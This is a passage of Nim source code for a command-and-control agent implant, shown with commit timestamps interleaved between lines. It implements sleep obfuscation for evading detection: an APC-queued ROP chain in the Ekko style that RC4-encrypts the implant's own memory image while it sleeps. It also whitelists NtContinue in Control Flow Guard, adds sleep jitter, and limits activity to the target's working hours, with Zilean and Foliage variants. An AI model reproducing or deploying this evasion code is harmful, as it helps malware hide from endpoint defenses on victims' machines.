# Start synchronization event
status = apis . NtCreateEvent ( addr hEventSync , EVENT_ALL_ACCESS , NULL , SynchronizationEvent , FALSE )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hEventSync )
# Start suspended thread where the APC calls will be queued and executed
status = apis . NtCreateThreadEx ( addr hThread , THREAD_ALL_ACCESS , NULL , GetCurrentProcess ( ) , NULL , NULL , TRUE , 0 , 0x1000 * 20 , 0x1000 * 20 , NULL )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-10-20 22:08:06 +02:00
print fmt" [*] [{hThread.repr}] Thread created "
2025-09-04 12:02:50 +02:00
defer : CloseHandle ( hThread )
ctxInit . ContextFlags = CONTEXT_FULL
status = apis . NtGetContextThread ( hThread , addr ctxInit )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
cast [ ptr PVOID ] ( ctxInit . Rsp ) [ ] = cast [ PVOID ] ( apis . NtTestAlert )
# Preparing the ROP chain
for i in 0 .. < ctx . len ( ) :
copyMem ( addr ctx [ i ] , addr ctxInit , sizeof ( CONTEXT ) )
var gadget = 0
# ctx[0] contains a call to NtWaitForSingleObject, which waits for a synchronization signal to be triggered.
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( NtWaitForSingleObject )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( hEventSync )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( FALSE )
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( NULL )
inc gadget
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( VirtualProtect )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( img . Buffer )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( img . Length )
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( PAGE_READWRITE )
ctx [ gadget ] . R9 = cast [ DWORD64 ] ( addr oldProtection )
inc gadget
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( apis . SystemFunction032 )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( addr img )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr key )
inc gadget
# ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( WaitForSingleObjectEx )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( GetCurrentProcess ( ) )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( cast [ DWORD ] ( sleepDelay ) )
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( FALSE )
inc gadget
# ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( apis . SystemFunction032 )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( addr img )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( addr key )
inc gadget
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( VirtualProtect )
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( img . Buffer )
ctx [ gadget ] . Rdx = cast [ DWORD64 ] ( img . Length )
ctx [ gadget ] . R8 = cast [ DWORD64 ] ( PAGE_EXECUTE_READWRITE )
ctx [ gadget ] . R9 = cast [ DWORD64 ] ( addr oldProtection )
inc gadget
# ctx[6] contains the final call, which exits the created thread after all APC calls have been executed.
2025-10-24 12:26:44 +02:00
ctx [ gadget ] . Rip = cast [ DWORD64 ] ( winbase . ExitThread )
2025-09-04 12:02:50 +02:00
ctx [ gadget ] . Rcx = cast [ DWORD64 ] ( 0 )
# Queueing the chain
for i in 0 .. gadget :
status = apis . NtQueueApcThread ( hThread , cast [ PPS_APC_ROUTINE ] ( apis . NtContinue ) , addr ctx [ i ] , cast [ PVOID ] ( FALSE ) , NULL )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
# Start sleep obfuscation
status = apis . NtAlertResumeThread ( hThread , NULL )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
2025-10-21 22:37:57 +02:00
print " [*] Sleep obfuscation start. "
2025-09-04 12:02:50 +02:00
status = apis . NtSignalAndWaitForSingleObject ( hEventSync , hThread , TRUE , NULL )
if status ! = STATUS_SUCCESS :
2025-10-21 22:37:57 +02:00
raise newException ( CatchableError , status . getNtError ( ) )
2025-09-04 12:02:50 +02:00
2025-10-21 22:37:57 +02:00
print " [*] Sleep obfuscation end. "
2025-09-04 12:02:50 +02:00
except CatchableError as err :
sleep ( sleepDelay )
2025-10-21 22:37:57 +02:00
print " [-] " , err . msg
2025-09-04 12:02:50 +02:00
2025-10-28 23:02:48 +01:00
# Function to determine whether the agent currently operates within the configured working hours
proc withinWorkingHours ( workingHours : WorkingHours ) : bool =
var time : SYSTEMTIME
GetLocalTime ( addr time )
if int ( time . wHour ) < workingHours . startHour or int ( time . wHour ) > workingHours . endHour :
return false
if int ( time . wHour ) = = workingHours . startHour and int ( time . wMinute ) < workingHours . startMinute :
return false
if int ( time . wHour ) = = workingHours . endHour and int ( time . wMinute ) > workingHours . endMinute :
return false
return true
2025-09-04 12:02:50 +02:00
# Sleep obfuscation implemented in various techniques
2025-10-23 11:14:26 +02:00
proc sleepObfuscate * ( sleepSettings : SleepSettings ) =
2025-09-04 12:02:50 +02:00
2025-10-23 11:14:26 +02:00
if sleepSettings . sleepDelay = = 0 :
2025-09-04 12:02:50 +02:00
return
2025-10-28 23:02:48 +01:00
2025-09-04 12:02:50 +02:00
# Initialize required API functions
let apis = initApis ( )
2025-10-23 11:14:26 +02:00
# Calculate actual sleep delay with jitter
2025-10-28 23:02:48 +01:00
let minDelay = float ( sleepSettings . sleepDelay ) - ( float ( sleepSettings . sleepDelay ) * ( float ( sleepSettings . jitter ) / 100 .0 f))
let maxDelay = float ( sleepSettings . sleepDelay ) + ( float ( sleepSettings . sleepDelay ) * ( float ( sleepSettings . jitter ) / 100 .0 f))
var delay = int ( rand ( minDelay .. maxDelay ) * 1000 )
# Working hours
# https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Obf.c#L650
# If the local time is outside of the agent's working hours, we calculate the required sleep delay until the start of the next work day.
if sleepSettings . workingHours . enabled and not withinWorkingHours ( sleepSettings . workingHours ) :
print " [*] Agent is outside of working hours. "
delay = 0
# Get current time
var time : SYSTEMTIME
GetLocalTime ( addr time )
let minutesSinceMidnight = int ( time . wHour ) * 60 + int ( time . wMinute )
let minutesUntilWorkday = sleepSettings . workingHours . startHour * 60 + sleepSettings . workingHours . startMinute
if minutesSinceMidnight < minutesUntilWorkday :
# We are on the same day as the start of the work day: calculate the difference between the two timestamps
delay = int ( ( minutesUntilWorkday - minutesSinceMidnight ) * 60 - int ( time . wSecond ) ) * 1000
else :
# Calculate minutes until midnight and add the minutes until the start of the workday
delay = int ( ( ( 24 * 60 - minutesSinceMidnight ) + minutesUntilWorkday ) * 60 - int ( time . wSecond ) ) * 1000
2025-10-23 11:14:26 +02:00
print fmt" [*] Sleepmask settings: Technique: { $sleepSettings .sleepTechnique}, Delay: { $delay }ms, Stack spoofing: { $sleepSettings .spoofStack} "
2025-09-04 12:02:50 +02:00
var img : USTRING = USTRING ( Length : 0 )
var key : USTRING = USTRING ( Length : 0 )
# Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG
discard evadeCFG ( apis . NtContinue )
# Locate image base and size
var imageBase = GetModuleHandleA ( NULL )
var imageSize = ( cast [ PIMAGE_NT_HEADERS ] ( imageBase + ( cast [ PIMAGE_DOS_HEADER ] ( imageBase ) ) . e_lfanew ) ) . OptionalHeader . SizeOfImage
img . Buffer = cast [ PVOID ] ( imageBase )
img . Length = imageSize
# Generate random encryption key
var keyBuffer : string = Bytes . toString ( generateBytes ( Key16 ) )
2025-10-29 19:05:49 +01:00
key . Buffer = addr keyBuffer
2025-09-04 12:02:50 +02:00
key . Length = cast [ DWORD ] ( keyBuffer . len ( ) )
# Execute sleep obfuscation technique
2025-10-23 11:14:26 +02:00
case sleepSettings . sleepTechnique :
2025-09-04 12:02:50 +02:00
of EKKO :
2025-10-23 11:14:26 +02:00
sleepEkko ( apis , key , img , delay , sleepSettings . spoofStack )
2025-09-04 12:02:50 +02:00
of ZILEAN :
2025-10-23 11:14:26 +02:00
sleepZilean ( apis , key , img , delay , sleepSettings . spoofStack )
2025-09-04 12:02:50 +02:00
of FOLIAGE :
2025-10-23 11:14:26 +02:00
sleepFoliage ( apis , key , img , delay )
2025-09-04 13:44:50 +02:00
of NONE :
2025-10-23 11:14:26 +02:00
sleep ( delay )